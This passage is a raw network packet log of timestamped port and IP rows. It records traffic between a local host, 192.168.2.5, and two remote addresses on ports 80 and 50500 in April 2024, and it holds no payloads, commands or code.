Apr 22, 2024 01:18:04.795254946 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795315981 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795339108 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795392036 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795419931 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795459986 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795500040 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795537949 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795545101 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795545101 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795545101 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795574903 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795603037 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795612097 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795650005 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795665026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795665026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795697927 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.795732975 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.795767069 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.955758095 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.955859900 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.955893993 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.955981970 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.956130981 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.956197023 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.956208944 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.956274986 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.956407070 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.956486940 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.956520081 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.956598043 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.956615925 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.956681967 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.956731081 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.956793070 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.956938982 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957015991 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957060099 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957138062 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957143068 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957192898 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957292080 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957369089 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957448006 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957520008 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957726955 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957760096 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957792997 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957822084 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957874060 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.957945108 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.957988024 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958066940 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958103895 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958173990 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958255053 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958287954 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958322048 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958353043 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958444118 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958477020 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958518028 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958549976 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958560944 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958620071 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958664894 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958744049 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958777905 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958852053 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.958893061 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958925009 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.958961010 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959012985 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959038973 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959109068 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959112883 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959192038 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959270000 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959301949 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959333897 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959357023 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959395885 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959445953 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959515095 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959517956 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959578037 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959671974 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959738970 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.959903955 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.959935904 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960006952 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960015059 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.960067987 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.960418940 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960452080 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960484028 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960484982 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.960515022 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960541010 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.960550070 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960588932 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960613966 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.960648060 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.960663080 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960720062 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.960902929 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.960972071 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.961095095 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961127996 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961158991 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961230993 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961262941 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961334944 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961407900 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961438894 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961551905 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961720943 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961956024 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.961990118 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.962106943 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.962138891 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.962213039 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.962409019 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.962440968 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.962554932 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.994755030 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.994807959 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.994843006 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.994874954 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.994908094 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.995019913 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.995053053 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.995086908 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.047252893 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047413111 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047454119 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047491074 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047528982 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047565937 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047604084 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047662020 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047700882 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047754049 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047791958 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047828913 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047867060 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047904968 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047941923 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.047979116 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.048015118 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.048049927 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.048088074 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.048141956 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.050600052 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.203485012 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.203968048 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204025984 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204058886 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204097033 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204195023 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204232931 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204745054 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204803944 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204837084 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204870939 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204905987 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204941034 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.204973936 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205061913 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205166101 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205333948 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205367088 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205451012 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205554008 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205703974 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205830097 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.205986977 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206115007 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206227064 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206290960 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206444025 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206634045 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206748962 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206837893 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.206957102 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207062006 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207139015 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207227945 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207360983 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207528114 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207684994 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207701921 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.207983017 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.208133936 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.208257914 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.208273888 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.208498955 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.208776951 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.208794117 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.208863020 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209055901 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209127903 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209264994 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209400892 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209558010 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209574938 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209765911 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209893942 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.209933996 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210066080 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210176945 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210333109 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210549116 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210563898 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210637093 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210653067 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210781097 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.210932970 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211112022 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211127996 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211143017 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211280107 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211294889 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211409092 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211513996 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211675882 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211715937 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.211781025 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212065935 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212214947 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212229013 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212291956 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212308884 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212392092 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212560892 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212577105 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212774038 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212790012 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.212805033 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213049889 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213177919 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213299990 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213380098 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213593960 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213610888 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213762999 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213778019 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.213813066 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:05.302359104 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302423000 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302462101 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302479029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302479029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302501917 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302536964 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302547932 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302588940 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302591085 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302615881 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302629948 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302670002 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302675962 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302675962 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302707911 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302726984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302751064 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302792072 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302820921 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302820921 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302830935 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302850008 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302870989 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302907944 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302916050 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302916050 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.302948952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.302988052 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303004026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303004026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303025961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303042889 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303062916 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303103924 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303112984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303112984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303143024 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303172112 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303180933 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303200960 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303220987 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303255081 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303261042 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303276062 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303301096 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303328037 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303343058 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303349018 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303384066 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303421974 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303435087 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303435087 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303462029 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303467989 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303503036 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303539038 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303560972 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303560972 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303580046 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303617954 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303656101 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303663015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303663015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303663015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303694963 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303719044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303734064 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303751945 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303771973 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303788900 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303809881 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303828001 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303848028 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303885937 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303905010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303905010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:05.303926945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:05.303952932 CEST	49710	80	192.168.2.5	193.233.132.175
